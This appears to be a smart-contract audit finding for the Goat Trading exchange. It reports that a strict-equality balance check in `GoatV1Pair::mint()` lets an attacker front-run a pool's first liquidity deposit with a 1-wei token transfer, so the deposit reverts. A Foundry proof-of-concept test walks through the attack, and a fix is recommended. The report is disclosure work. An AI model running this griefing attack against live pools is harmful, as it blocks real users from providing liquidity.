Little Onyx Mongoose

high

# Malicious user can dos initial liquidity providers from minting liquidity

## Summary
Malicious user can dos initial liquidity providers from successfully minting liquidity.

## Vulnerability Detail
When the initial liquidity provider of a pool wants to add the initial liquidity. They can call `GoatV1Router::addLiquidity()`. This method calculates the amount of  tokens the initial liquidity provider needs to deposit and handles transferring the initial `token` and `weth` deposit into the `GoatV1Pair`. If a pool for the given `token` has not been created yet one will be created here 

After the token transfers the LP tokens are minted for the initial LP on the call to `pair.mint(to)`. There is a strict check that the amount of `token` in a pool matches exactly the configured amounts for the pool withe the check:

```solidity
if (balanceToken != (tokenAmtForPresale + tokenAmtForAmm)) {
  revert GoatErrors.InsufficientTokenAmount();
}
``` 

A malicious user can front-run calls `GoatV1Router::addLiquidity()` for any initial liquidity providers and transfer `1 wei` of the pools `token` directly to the pool. This will cause the following mint transaction for the initial liquidity provider to fail.

## Impact
A malicious user can easily prevent the initial liquidity provider from being able to deposit their liquidity.

## Code Snippet
https://github.com/sherlock-audit/2024-03-goat-trading/blob/main/goat-trading/contracts/exchange/GoatV1Pair.sol#L139-L141

## Tool used
Manual Review, Foundry

## Proof of Concept
```solidity
    function testFrontRunAddLiquidityWithoutWeth() public {
        // create configuration for pool
        addLiquidityParams(true, false);


        // fund attacker
        address attacker = makeAddr("attacker");
        token.transfer(attacker, 1 wei);

        // attacker front-run calls to for initial depositors to add liquidity to a pool
        // 1. Attack copies pool params and create the pool first if it doesn't exist
        address pair = factory.createPair(addLiqParams.token, addLiqParams.initParams);

        // 2. Attacker sends 1 wei of token to pair
        
        vm.startPrank(attacker);
        token.transfer(pair, 1 wei);
        vm.stopPrank();

        // 3. Initial LP attempts to deposit

        uint256 actualTokenAmountToSend = router.getActualBootstrapTokenAmount(
            addLiqParams.initParams.virtualEth,
            addLiqParams.initParams.bootstrapEth,
            addLiqParams.initParams.initialEth,
            addLiqParams.initParams.initialTokenMatch
        );

        token.approve(address(router), actualTokenAmountToSend);

        // Fails due to InsufficientInputAmount()
        vm.expectRevert();
        router.addLiquidity(
            addLiqParams.token,
            addLiqParams.tokenDesired,
            addLiqParams.wethDesired,
            addLiqParams.tokenMin,
            addLiqParams.wethMin,
            addLiqParams.to,
            addLiqParams.deadline,
            addLiqParams.initParams
        );
    }
```

## Recommendation
Update the token amount check in `GoatPairV1::mint()` to not be a strict equals:

```solidity
if (balanceToken < (tokenAmtForPresale + tokenAmtForAmm)) {
  revert GoatErrors.InsufficientTokenAmount();
}
```